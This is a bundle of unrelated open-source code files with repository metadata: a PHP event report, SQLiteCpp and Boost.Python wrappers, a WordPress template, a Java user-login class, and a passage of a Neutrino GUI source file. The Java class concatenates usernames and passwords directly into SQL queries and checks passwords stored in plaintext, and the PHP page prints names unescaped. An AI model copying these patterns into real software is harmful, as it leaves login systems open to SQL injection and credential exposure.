$awardSplit) * $groupLewisMoney),2,PHP_ROUND_HALF_UP); }else { $shooter['lewisPercentage'] = $shooter['lewisMoney'] = '0'; } } } unset($shooter); echo '<table border="1">'; echo '<thead><td colspan="5">Lewis Class ' . $lewisClassLetter . '</thead>'; echo '<thead>'; echo '<td colspan="2"></td>'; //firstName lastName echo '<td>Score</td>'; echo '<td>Win %</td>'; echo '<td class="private">Money</td>'; echo '</thead>'; $shooterArrayDesc = array_reverse($shooterArray); foreach ($shooterArrayDesc as $shooter){ if($shooter['lewisGroup'] == $x){ echo '<tr>'; echo '<td class="firstName">' . $shooter['firstName'] . '</td>'; echo '<td class="lastName">' . $shooter['lastName'] . '</td>'; echo '<td>' . $shooter['score'] . '</td>'; echo '<td>' . $shooter['lewisPercentage'] . '%</td>'; echo '<td class="private">$' . $shooter['lewisMoney'] . '</td>'; echo '</tr>'; } } echo '</table>'; $x++; }//end while } // //end Lewis Calculation // ?> </body> <?php include 'footer.php'; ?> <script type="text/javascript"> $(document).ready(function(){ }); </script> </html>
peteritism/ShootReportSystem
eventReport.php
PHP
gpl-3.0
17,554
/** * @file Column.cpp * @ingroup SQLiteCpp * @brief Encapsulation of a Column in a row of the result pointed by the prepared SQLite::Statement. * * Copyright (c) 2012-2015 Sebastien Rombauts (sebastien.rombauts@gmail.com) * * Distributed under the MIT License (MIT) (See accompanying file LICENSE.txt * or copy at http://opensource.org/licenses/MIT) */ #include <SQLiteCpp/Column.h> #include <iostream> namespace SQLite { // Encapsulation of a Column in a row of the result pointed by the prepared Statement. Column::Column(Statement::Ptr& aStmtPtr, int aIndex) noexcept : // nothrow mStmtPtr(aStmtPtr), mIndex(aIndex) { } // Finalize and unregister the SQL query from the SQLite Database Connection. Column::~Column() noexcept // nothrow { // the finalization will be done by the destructor of the last shared pointer } // Return the named assigned to this result column (potentially aliased) const char* Column::getName() const noexcept // nothrow { return sqlite3_column_name(mStmtPtr, mIndex); } #ifdef SQLITE_ENABLE_COLUMN_METADATA // Return the name of the table column that is the origin of this result column const char* Column::getOriginName() const noexcept // nothrow { return sqlite3_column_origin_name(mStmtPtr, mIndex); } #endif // Return the integer value of the column specified by its index starting at 0 int Column::getInt() const noexcept // nothrow { return sqlite3_column_int(mStmtPtr, mIndex); } // Return the 64bits integer value of the column specified by its index starting at 0 sqlite3_int64 Column::getInt64() const noexcept // nothrow { return sqlite3_column_int64(mStmtPtr, mIndex); } // Return the double value of the column specified by its index starting at 0 double Column::getDouble() const noexcept // nothrow { return sqlite3_column_double(mStmtPtr, mIndex); } // Return a pointer to the text value (NULL terminated string) of the column specified by its index starting at 0 const char* Column::getText(const char* apDefaultValue /* = "" */) const noexcept // nothrow { const char* pText = (const char*)sqlite3_column_text(mStmtPtr, mIndex); return (pText?pText:apDefaultValue); } // Return a pointer to the text value (NULL terminated string) of the column specified by its index starting at 0 const void* Column::getBlob() const noexcept // nothrow { return sqlite3_column_blob(mStmtPtr, mIndex); } // Return the type of the value of the column int Column::getType() const noexcept // nothrow { return sqlite3_column_type(mStmtPtr, mIndex); } // Return the number of bytes used by the text value of the column int Column::getBytes() const noexcept // nothrow { return sqlite3_column_bytes(mStmtPtr, mIndex); } // Standard std::ostream inserter std::ostream& operator<<(std::ostream& aStream, const Column& aColumn) { aStream << aColumn.getText(); return aStream; } } // namespace SQLite
edlund/fabl-ng
vendor/sources/sqlitecpp-1.1/src/Column.cpp
C++
gpl-3.0
2,919
<?php /** * Single Post template file * * This file is the single template file, used on single blog posts, per * the {@link http://codex.wordpress.org/Template_Hierarchy Template Hierarchy}. * * @link http://codex.wordpress.org/Function_Reference/comments_open comments_open() * @link http://codex.wordpress.org/Function_Reference/comments_template comments_template() * @link http://codex.wordpress.org/Function_Reference/get_header get_header() * @link http://codex.wordpress.org/Function_Reference/get_footer get_footer() * @link http://codex.wordpress.org/Function_Reference/have_posts have_posts() * @link http://codex.wordpress.org/Function_Reference/post_password_required post_password_required() * @link http://codex.wordpress.org/Function_Reference/the_content the_content() * @link http://codex.wordpress.org/Function_Reference/the_ID the_ID() * @link http://codex.wordpress.org/Function_Reference/the_post the_post() * @link http://codex.wordpress.org/Function_Reference/wp_link_pages wp_link_pages() * * @uses apptheme_no_posts() Defined in /functions.php * * @package App Theme * @copyright Copyright (c) 2010, UpThemes * @license license.txt GNU General Public License, v3 * @since AppTheme 1.0 */ /** * Include the header template part file * * MUST come first. * Calls the header PHP file. * Used in all primary template pages * * @see {@link: http://codex.wordpress.org/Function_Reference/get_header get_header} * * Child Themes can replace this template part file globally, via "header.php", or in * a specific context only, via "header-single.php" */ get_header(); ?> <div id="content"> <div class="row"> <div class="column six"> <?php if (have_posts()) : while (have_posts()) : the_post(); ?> <h1><?php the_title(); ?></h1> <div id="post-<?php the_ID(); ?>" <?php post_class('postwrapper'); ?>> <?php the_content(); ?> <?php wp_link_pages(); ?> </div><!-- /.postwrapper --> <?php if ( comments_open() && ! post_password_required() ) { /** * Include the comments template * * Includes the comments.php template part file */ comments_template(); } ?> <?php endwhile; ?> <?php else : ?> <?php /** * Output no-post content */ apptheme_no_posts(); ?> <?php endif; ?> </div><!-- .column.six --> </div><!-- .row --> </div><!-- #content --> <?php /** * Include the footer template part file * * MUST come last. * Calls the footer PHP file. * Used in all primary template pages * * Codex reference: {@link http://codex.wordpress.org/Function_Reference/get_footer get_footer} * * Child Themes can replace this template part file globally, via "footer.php", or in * a specific context only, via "footer-single.php" */ get_footer(); ?>
UpThemes/AppTheme
single.php
PHP
gpl-3.0
2,893
// This file has been generated by Py++. #include "stdafx.h" #include "pypluspluscommon.h" #include "boost/python.hpp" #include "__call_policies.pypp.hpp" #include "xmlmanager.h" #include "httpurl.h" #include "xmldocument.h" #include "xmlmanager.pypp.hpp" namespace bp = boost::python; struct XMLManager_wrapper : ::osiris::XMLManager, ::osiris::PythonWrapper< ::osiris::XMLManager > { XMLManager_wrapper( ) : ::osiris::XMLManager( ) , ::osiris::PythonWrapper< ::osiris::XMLManager >(){ // null constructor } static boost::python::object parseBuffer( ::osiris::XMLManager & inst, ::osiris::Buffer const & buffer, ::osiris::IXMLHandler * handler, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr), ::osiris::String const & encoding=("UTF-8") ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.parseBuffer(buffer, handler, schema, encoding); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object parseFile( ::osiris::XMLManager & inst, ::osiris::String const & filename, ::osiris::IXMLHandler * handler, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr) ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.parseFile(filename, handler, schema); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object parseString( ::osiris::XMLManager & inst, ::osiris::String const & str, ::osiris::IXMLHandler * handler, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr) ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.parseString(str, handler, schema); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object parseStringUTF8( ::osiris::XMLManager & inst, ::std::string const & str, ::osiris::IXMLHandler * handler, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr) ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.parseStringUTF8(str, handler, schema); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object parseStream( ::osiris::XMLManager & inst, ::boost::shared_ptr< osiris::IStream > stream, ::osiris::IXMLHandler * handler, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr), ::osiris::String const & encoding=("UTF-8") ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.parseStream(stream, handler, schema, encoding); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object parseUrl( ::osiris::XMLManager & inst, ::osiris::HttpUrl const & url, ::osiris::IXMLHandler * handler, ::osiris::String const & userAgent, ::boost::shared_ptr< boost::asio::io_service > service, ::boost::shared_ptr< osiris::TCPSocket > socket, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr) ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.parseUrl(url, handler, userAgent, service, socket, schema); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object writeBuffer( ::osiris::XMLManager const & inst, ::osiris::XMLDocument const & document, ::osiris::Buffer & buffer, ::osiris::String const & encoding=("UTF-8") ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.writeBuffer(document, buffer, encoding); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object writeFile( ::osiris::XMLManager const & inst, ::osiris::XMLDocument const & document, ::osiris::String const & filename, ::osiris::String const & encoding=("UTF-8") ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.writeFile(document, filename, encoding); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object writeString( ::osiris::XMLManager const & inst, ::osiris::XMLDocument const & document, ::osiris::String & str ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.writeString(document, str); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object writeStringUTF8( ::osiris::XMLManager const & inst, ::osiris::XMLDocument const & document, ::std::string & str ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.writeStringUTF8(document, str); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object writeStream( ::osiris::XMLManager const & inst, ::osiris::XMLDocument const & document, ::boost::shared_ptr< osiris::IStream > stream, ::osiris::String const & encoding=("UTF-8") ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.writeStream(document, stream, encoding); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object validateBuffer( ::osiris::XMLManager const & inst, ::osiris::Buffer const & buffer, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr) ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.validateBuffer(buffer, schema); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object validateFile( ::osiris::XMLManager const & inst, ::osiris::String const & filename, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr) ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.validateFile(filename, schema); __pythreadSaver.restore(); return boost::python::object( result ); } static boost::python::object validateString( ::osiris::XMLManager const & inst, ::osiris::String const & str, ::boost::shared_ptr< osiris::XMLSchema > schema=(nullptr) ){ ::osiris::PythonThreadSaver __pythreadSaver; bool result = inst.validateString(str, schema); __pythreadSaver.restore(); return boost::python::object( result ); } }; void register_XMLManager_class(){ ::boost::python::class_< XMLManager_wrapper, ::boost::python::bases< ::osiris::StaticSingleton< osiris::XMLManager, true > >, ::boost::noncopyable >( "XMLManager", ::boost::python::no_init ) .def( ::boost::python::init< >() ) .def( "parseBuffer" , (boost::python::object (*)( ::osiris::XMLManager &,::osiris::Buffer const &,::osiris::IXMLHandler *,::boost::shared_ptr<osiris::XMLSchema>,::osiris::String const & ))( &XMLManager_wrapper::parseBuffer ) , ( ::boost::python::arg("inst"), ::boost::python::arg("buffer"), ::boost::python::arg("handler"), ::boost::python::arg("schema")=(nullptr), ::boost::python::arg("encoding")=("UTF-8") ) ) .def( "parseFile" , (boost::python::object (*)( ::osiris::XMLManager &,::osiris::String const &,::osiris::IXMLHandler *,::boost::shared_ptr<osiris::XMLSchema> ))( &XMLManager_wrapper::parseFile ) , ( ::boost::python::arg("inst"), ::boost::python::arg("filename"), ::boost::python::arg("handler"), ::boost::python::arg("schema")=(nullptr) ) ) .def( "parseString" , (boost::python::object (*)( ::osiris::XMLManager &,::osiris::String const &,::osiris::IXMLHandler *,::boost::shared_ptr<osiris::XMLSchema> ))( &XMLManager_wrapper::parseString ) , ( ::boost::python::arg("inst"), ::boost::python::arg("str"), ::boost::python::arg("handler"), ::boost::python::arg("schema")=(nullptr) ) ) .def( "parseStringUTF8" , (boost::python::object (*)( ::osiris::XMLManager &,::std::string const &,::osiris::IXMLHandler *,::boost::shared_ptr<osiris::XMLSchema> ))( &XMLManager_wrapper::parseStringUTF8 ) , ( ::boost::python::arg("inst"), ::boost::python::arg("str"), ::boost::python::arg("handler"), ::boost::python::arg("schema")=(nullptr) ) ) .def( "parseStream" , (boost::python::object (*)( ::osiris::XMLManager &,::boost::shared_ptr<osiris::IStream>,::osiris::IXMLHandler *,::boost::shared_ptr<osiris::XMLSchema>,::osiris::String const & ))( &XMLManager_wrapper::parseStream ) , ( ::boost::python::arg("inst"), ::boost::python::arg("stream"), ::boost::python::arg("handler"), ::boost::python::arg("schema")=(nullptr), ::boost::python::arg("encoding")=("UTF-8") ) ) .def( "parseUrl" , (boost::python::object (*)( ::osiris::XMLManager &,::osiris::HttpUrl const &,::osiris::IXMLHandler *,::osiris::String const &,::boost::shared_ptr<boost::asio::io_service>,::boost::shared_ptr<osiris::TCPSocket>,::boost::shared_ptr<osiris::XMLSchema> ))( &XMLManager_wrapper::parseUrl ) , ( ::boost::python::arg("inst"), ::boost::python::arg("url"), ::boost::python::arg("handler"), ::boost::python::arg("userAgent"), ::boost::python::arg("service"), ::boost::python::arg("socket"), ::boost::python::arg("schema")=(nullptr) ) ) .def( "writeBuffer" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::XMLDocument const &,::osiris::Buffer &,::osiris::String const & ))( &XMLManager_wrapper::writeBuffer ) , ( ::boost::python::arg("inst"), ::boost::python::arg("document"), ::boost::python::arg("buffer"), ::boost::python::arg("encoding")=("UTF-8") ) ) .def( "writeFile" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::XMLDocument const &,::osiris::String const &,::osiris::String const & ))( &XMLManager_wrapper::writeFile ) , ( ::boost::python::arg("inst"), ::boost::python::arg("document"), ::boost::python::arg("filename"), ::boost::python::arg("encoding")=("UTF-8") ) ) .def( "writeString" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::XMLDocument const &,::osiris::String & ))( &XMLManager_wrapper::writeString ) , ( ::boost::python::arg("inst"), ::boost::python::arg("document"), ::boost::python::arg("str") ) ) .def( "writeStringUTF8" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::XMLDocument const &,::std::string & ))( &XMLManager_wrapper::writeStringUTF8 ) , ( ::boost::python::arg("inst"), ::boost::python::arg("document"), ::boost::python::arg("str") ) ) .def( "writeStream" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::XMLDocument const &,::boost::shared_ptr<osiris::IStream>,::osiris::String const & ))( &XMLManager_wrapper::writeStream ) , ( ::boost::python::arg("inst"), ::boost::python::arg("document"), ::boost::python::arg("stream"), ::boost::python::arg("encoding")=("UTF-8") ) ) .def( "validateBuffer" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::Buffer const &,::boost::shared_ptr<osiris::XMLSchema> ))( &XMLManager_wrapper::validateBuffer ) , ( ::boost::python::arg("inst"), ::boost::python::arg("buffer"), ::boost::python::arg("schema")=(nullptr) ) ) .def( "validateFile" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::String const &,::boost::shared_ptr<osiris::XMLSchema> ))( &XMLManager_wrapper::validateFile ) , ( ::boost::python::arg("inst"), ::boost::python::arg("filename"), ::boost::python::arg("schema")=(nullptr) ) ) .def( "validateString" , (boost::python::object (*)( ::osiris::XMLManager const &,::osiris::String const &,::boost::shared_ptr<osiris::XMLSchema> ))( &XMLManager_wrapper::validateString ) , ( ::boost::python::arg("inst"), ::boost::python::arg("str"), ::boost::python::arg("schema")=(nullptr) ) ); }
OsirisSPS/osiris-sps
client/src/plugins/python/wrappers/xmlmanager.pypp.cpp
C++
gpl-3.0
12,206
package models; import java.sql.ResultSet; import java.sql.SQLException; /** * Classe qui permet de gérer les informations des utilisateurs déjà inscris. * @author BURC Pierre, DUPLOUY Olivier, KISIALIOVA Katsiaryna, SEGUIN Tristan * */ public class UserInformation { private User infoUser; private static String quoteCharacter="'"; /** * Constructeur vide. */ public UserInformation(){ } /** * <p>Méthode qui permet de récupérer l'ensemble des informations d'un utilisateur en * interrogeant la BDD.</p> * @param pseudo Le pseudo pour lequel on souhaite récupérer les informations. * @throws SQLException Problème SQL. */ public void retrieveInformation(String pseudo) throws SQLException{ ConnectionBase.open(); ResultSet res=ConnectionBase.requete("SELECT * FROM \"UserInfo\" " + "WHERE pseudo="+quoteCharacter+pseudo+quoteCharacter); if (!res.first()){ this.infoUser=new User("guest"); }else{ res.first(); this.infoUser=new User( res.getString("pseudo"), res.getString("nom"), res.getString("prenom"), res.getString("mdp"), res.getString("email")); } ConnectionBase.close(); } /*public void profil(String pseudo) throws SQLException{ ConnectionBase.open(); ResultSet res=ConnectionBase.requete("SELECT * FROM \"UserInfo\" " + "WHERE pseudo="+quoteCharacter+pseudo+quoteCharacter); res.first(); this.infoUser=new User( res.getString("pseudo"), res.getString("mdp"), res.getString("nom"), res.getString("prenom"), res.getString("email")); ConnectionBase.close(); }*/ /** * * @param pseudo * @return vrai s'il y a déjà un pseudo égal au paramètre. Sinon faux * @throws SQLException */ public boolean pseudoAlreadyExists(String pseudo) throws SQLException{ ConnectionBase.open(); ResultSet res=ConnectionBase.requete("SELECT pseudo FROM \"UserInfo\" " + "WHERE pseudo="+quoteCharacter+pseudo+quoteCharacter); boolean retour=res.first(); ConnectionBase.close(); return retour; } /** * * @param pseudo * @param mdp * @return vrai si l'utilisateur est autorisé à se connecter. Sinon faux * @throws SQLException */ public boolean connectionAllowed(String pseudo,String mdp) throws SQLException{ ConnectionBase.open(); ResultSet res=ConnectionBase.requete("SELECT pseudo,mdp " + "FROM \"UserInfo\" " + "WHERE pseudo='"+pseudo+"'"+ "AND mdp='"+mdp+"'"); boolean retour=res.first(); ConnectionBase.close(); return retour; } /** * Getter permettant de récupérer un objet User contenant les informations d'un utilisateur. * @return */ public User getInfoUser() { return infoUser; } }
lodacom/UpYourMood
app/models/UserInformation.java
Java
gpl-3.0
2,698
/* Neutrino-GUI - DBoxII-Project Copyright (C) 2001 Steffen Hehn 'McClean' Homepage: http://dbox.cyberphoria.org/ Copyright (C) 2012-2013 Stefan Seyfried License: GPL This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #include "infoviewer_bb.h" #include <algorithm> #include <sys/types.h> #include <sys/stat.h> #include <sys/sysinfo.h> #include <sys/vfs.h> #include <sys/timeb.h> #include <sys/param.h> #include <time.h> #include <fcntl.h> #include <unistd.h> #include <global.h> #include <neutrino.h> #include <gui/infoviewer.h> #include <gui/bouquetlist.h> #include <gui/widget/icons.h> #include <gui/widget/hintbox.h> #include <gui/customcolor.h> #include <gui/pictureviewer.h> #include <gui/movieplayer.h> #include <system/helpers.h> #include <system/hddstat.h> #include <daemonc/remotecontrol.h> #include <driver/radiotext.h> #include <driver/volume.h> #include <zapit/femanager.h> #include <zapit/zapit.h> #include <video.h> extern CRemoteControl *g_RemoteControl; /* neutrino.cpp */ extern cVideo * videoDecoder; #define COL_INFOBAR_BUTTONS_BACKGROUND (COL_INFOBAR_SHADOW_PLUS_1) CInfoViewerBB::CInfoViewerBB() { frameBuffer = CFrameBuffer::getInstance(); is_visible = false; scrambledErr = false; scrambledErrSave = false; scrambledNoSig = false; scrambledNoSigSave = false; scrambledT = 0; #if 0 if(!scrambledT) { pthread_create(&scrambledT, NULL, scrambledThread, (void*) this) ; pthread_detach(scrambledT); } #endif hddscale = NULL; sysscale = NULL; bbIconInfo[0].x = 0; bbIconInfo[0].h = 0; BBarY = 0; BBarFontY = 0; hddscale = NULL; sysscale = NULL; Init(); } void CInfoViewerBB::Init() { hddwidth = 0; bbIconMaxH = 0; bbButtonMaxH = 0; bbIconMinX = 0; bbButtonMaxX = 0; fta = true; minX = 0; for (int i = 0; i < CInfoViewerBB::BUTTON_MAX; i++) { tmp_bbButtonInfoText[i] = ""; bbButtonInfo[i].x = -1; } InfoHeightY_Info = g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->getHeight() + 5; setBBOffset(); changePB(); } CInfoViewerBB::~CInfoViewerBB() { if(scrambledT) { pthread_cancel(scrambledT); scrambledT = 0; } if (hddscale) delete hddscale; if (sysscale) delete sysscale; } CInfoViewerBB* CInfoViewerBB::getInstance() { static CInfoViewerBB* InfoViewerBB = NULL; if(!InfoViewerBB) { InfoViewerBB = new CInfoViewerBB(); } return InfoViewerBB; } bool CInfoViewerBB::checkBBIcon(const char * const icon, int *w, int *h) { frameBuffer->getIconSize(icon, w, h); if ((*w != 0) && (*h != 0)) return true; return false; } void CInfoViewerBB::getBBIconInfo() { bbIconMaxH = 0; BBarY = g_InfoViewer->BoxEndY + bottom_bar_offset; BBarFontY = BBarY + InfoHeightY_Info - (InfoHeightY_Info - g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->getHeight()) / 2; /* center in buttonbar */ bbIconMinX = g_InfoViewer->BoxEndX - 8; //should be 10px, but 2px will be reduced for each icon CNeutrinoApp* neutrino = CNeutrinoApp::getInstance(); for (int i = 0; i < CInfoViewerBB::ICON_MAX; i++) { int w = 0, h = 0; bool iconView = false; switch (i) { case CInfoViewerBB::ICON_SUBT: //no radio if (neutrino->getMode() != NeutrinoMessages::mode_radio) iconView = checkBBIcon(NEUTRINO_ICON_SUBT, &w, &h); break; case CInfoViewerBB::ICON_VTXT: //no radio if (neutrino->getMode() != NeutrinoMessages::mode_radio) iconView = checkBBIcon(NEUTRINO_ICON_VTXT, &w, &h); break; case CInfoViewerBB::ICON_RT: if ((neutrino->getMode() == NeutrinoMessages::mode_radio) && g_settings.radiotext_enable) iconView = checkBBIcon(NEUTRINO_ICON_RADIOTEXTGET, &w, &h); break; case CInfoViewerBB::ICON_DD: if( g_settings.infobar_show_dd_available ) iconView = checkBBIcon(NEUTRINO_ICON_DD, &w, &h); break; case CInfoViewerBB::ICON_16_9: //no radio if (neutrino->getMode() != NeutrinoMessages::mode_radio) iconView = checkBBIcon(NEUTRINO_ICON_16_9, &w, &h); break; case CInfoViewerBB::ICON_RES: //no radio if ((g_settings.infobar_show_res < 2) && (neutrino->getMode() != NeutrinoMessages::mode_radio)) iconView = checkBBIcon(NEUTRINO_ICON_RESOLUTION_1280, &w, &h); break; case CInfoViewerBB::ICON_CA: if (g_settings.casystem_display == 2) iconView = checkBBIcon(NEUTRINO_ICON_SCRAMBLED2, &w, &h); break; case CInfoViewerBB::ICON_TUNER: if (CFEManager::getInstance()->getEnabledCount() > 1 && g_settings.infobar_show_tuner == 1) iconView = checkBBIcon(NEUTRINO_ICON_TUNER_1, &w, &h); break; default: break; } if (iconView) { bbIconMinX -= w + 2; bbIconInfo[i].x = bbIconMinX; bbIconInfo[i].h = h; } else bbIconInfo[i].x = -1; } for (int i = 0; i < CInfoViewerBB::ICON_MAX; i++) { if (bbIconInfo[i].x != -1) bbIconMaxH = std::max(bbIconMaxH, bbIconInfo[i].h); } if (g_settings.infobar_show_sysfs_hdd) bbIconMinX -= hddwidth + 2; } void CInfoViewerBB::getBBButtonInfo() { bbButtonMaxH = 0; bbButtonMaxX = g_InfoViewer->ChanInfoX; int bbButtonMaxW = 0; int mode = NeutrinoMessages::mode_unknown; for (int i = 0; i < CInfoViewerBB::BUTTON_MAX; i++) { int w = 0, h = 0; bool active; std::string text, icon; switch (i) { case CInfoViewerBB::BUTTON_EPG: icon = NEUTRINO_ICON_BUTTON_RED; frameBuffer->getIconSize(icon.c_str(), &w, &h); text = CUserMenu::getUserMenuButtonName(0, active); if (!text.empty()) break; text = g_settings.usermenu[SNeutrinoSettings::BUTTON_RED]->title; if (text.empty()) text = g_Locale->getText(LOCALE_INFOVIEWER_EVENTLIST); break; case CInfoViewerBB::BUTTON_AUDIO: icon = NEUTRINO_ICON_BUTTON_GREEN; frameBuffer->getIconSize(icon.c_str(), &w, &h); text = CUserMenu::getUserMenuButtonName(1, active); mode = CNeutrinoApp::getInstance()->getMode(); if (!text.empty() && mode < NeutrinoMessages::mode_audio) break; text = g_settings.usermenu[SNeutrinoSettings::BUTTON_GREEN]->title; if (text == g_Locale->getText(LOCALE_AUDIOSELECTMENUE_HEAD)) text = ""; if ((mode == NeutrinoMessages::mode_ts || mode == NeutrinoMessages::mode_webtv || mode == NeutrinoMessages::mode_audio) && !CMoviePlayerGui::getInstance().timeshift) { text = CMoviePlayerGui::getInstance().CurrentAudioName(); } else if (!g_RemoteControl->current_PIDs.APIDs.empty()) { int selected = g_RemoteControl->current_PIDs.PIDs.selected_apid; if (text.empty()){ text = g_RemoteControl->current_PIDs.APIDs[selected].desc; } } break; case CInfoViewerBB::BUTTON_SUBS: icon = NEUTRINO_ICON_BUTTON_YELLOW; frameBuffer->getIconSize(icon.c_str(), &w, &h); text = CUserMenu::getUserMenuButtonName(2, active); if (!text.empty()) break; text = g_settings.usermenu[SNeutrinoSettings::BUTTON_YELLOW]->title; if (text.empty()) text = g_Locale->getText((g_RemoteControl->are_subchannels) ? LOCALE_INFOVIEWER_SUBSERVICE : LOCALE_INFOVIEWER_SELECTTIME); break; case CInfoViewerBB::BUTTON_FEAT: icon = NEUTRINO_ICON_BUTTON_BLUE; frameBuffer->getIconSize(icon.c_str(), &w, &h); text = CUserMenu::getUserMenuButtonName(3, active); if (!text.empty()) break; text = g_settings.usermenu[SNeutrinoSettings::BUTTON_BLUE]->title; if (text.empty()) text = g_Locale->getText(LOCALE_INFOVIEWER_STREAMINFO); break; default: break; } bbButtonInfo[i].w = g_Font[SNeutrinoSettings::FONT_TYPE_INFOBAR_SMALL]->getRenderWidth(text) + w + 10; bbButtonInfo[i].cx = w + 5; bbButtonInfo[i].h = h; bbButtonInfo[i].text = text; bbButtonInfo[i].icon = icon; bbButtonInfo[i].active = active; } // Calculate position/size of buttons minX = std::min(bbIconMinX, g_InfoViewer->ChanInfoX + (((g_InfoViewer->BoxEndX - g_InfoViewer->ChanInfoX) * 75) / 100)); int MaxBr = minX - (g_InfoViewer->ChanInfoX + 10); bbButtonMaxX = g_InfoViewer->ChanInfoX + 10; int br = 0, count = 0; for (int i = 0; i < CInfoViewerBB::BUTTON_MAX; i++) { if ((i == CInfoViewerBB::BUTTON_SUBS) && (g_RemoteControl->subChannels.empty())) { // no subchannels bbButtonInfo[i].paint = false; // bbButtonInfo[i].x = -1; // continue; } else { count++; bbButtonInfo[i].paint = true; br += bbButtonInfo[i].w; bbButtonInfo[i].x = bbButtonMaxX; bbButtonMaxX += bbButtonInfo[i].w; bbButtonMaxW = std::max(bbButtonMaxW, bbButtonInfo[i].w); } } if (br > MaxBr) printf("[infoviewer_bb:%s#%d] width br (%d) > MaxBr (%d) count %d\n", __func__, __LINE__, br, MaxBr, count); #if 0 int Btns = 0; // counting buttons for (int i = 0; i < CInfoViewerBB::BUTTON_MAX; i++) { if (bbButtonInfo[i].x != -1) { Btns++; } } bbButtonMaxX = g_InfoViewer->ChanInfoX + 10; bbButtonInfo[CInfoViewerBB::BUTTON_EPG].x = bbButtonMaxX; bbButtonInfo[CInfoViewerBB::BUTTON_FEAT].x = minX - bbButtonInfo[CInfoViewerBB::BUTTON_FEAT].w; int x1 = bbButtonInfo[CInfoViewerBB::BUTTON_EPG].x + bbButtonInfo[CInfoViewerBB::BUTTON_EPG].w; int rest = bbButtonInfo[CInfoViewerBB::BUTTON_FEAT].x - x1; if (Btns < 4) { rest -= bbButtonInfo[CInfoViewerBB::BUTTON_AUDIO].w; bbButtonInfo[CInfoViewerBB::BUTTON_AUDIO].x = x1 + rest / 2; } else { rest -= bbButtonInfo[CInfoViewerBB::BUTTON_AUDIO].w + bbButtonInfo[CInfoViewerBB::BUTTON_SUBS].w; rest = rest / 3; bbButtonInfo[CInfoViewerBB::BUTTON_AUDIO].x = x1 + rest; bbButtonInfo[CInfoViewerBB::BUTTON_SUBS].x = bbButtonInfo[CInfoViewerBB::BUTTON_AUDIO].x + bbButtonInfo[CInfoViewerBB::BUTTON_AUDIO].w + rest; } #endif bbButtonMaxX = g_InfoViewer->ChanInfoX + 10; int step = MaxBr / 4; if (count > 0) { /* avoid div-by-zero :-) */ step = MaxBr / count; count = 0; for (int i = 0; i < BUTTON_MAX; i++) { if (!bbButtonInfo[i].paint) continue; bbButtonInfo[i].x = bbButtonMaxX + step * count; // printf("%s: i = %d count = %d b.x = %d\n", __func__, i, count, bbButtonInfo[i].x); count++; } } else { printf("[infoviewer_bb:%s#%d: count <= 0???\n", __func__, __LINE__); bbButtonInfo[BUTTON_EPG].x = bbButtonMaxX; bbButtonInfo[BUTTON_AUDIO].x = bbButtonMaxX + step; bbButtonInfo[BUTTON_SUBS].x = bbButtonMaxX + 2*step; bbButtonInfo[BUTTON_FEAT].x = bbButtonMaxX + 3*step; } } void CInfoViewerBB::showBBButtons(const int modus) { if (!is_visible) return; int i; bool paint = false; if (g_settings.volume_pos == CVolumeBar::VOLUMEBAR_POS_BOTTOM_LEFT || g_settings.volume_pos == CVolumeBar::VOLUMEBAR_POS_BOTTOM_RIGHT || g_settings.volume_pos == CVolumeBar::VOLUMEBAR_POS_BOTTOM_CENTER || g_settings.volume_pos == CVolumeBar::VOLUMEBAR_POS_HIGHER_CENTER) g_InfoViewer->isVolscale = CVolume::getInstance()->hideVolscale(); else g_InfoViewer->isVolscale = false; getBBButtonInfo(); for (i = 0; i < CInfoViewerBB::BUTTON_MAX; i++) { if (tmp_bbButtonInfoText[i] != bbButtonInfo[i].text) { paint = true; break; } } if (paint) { int last_x = minX; 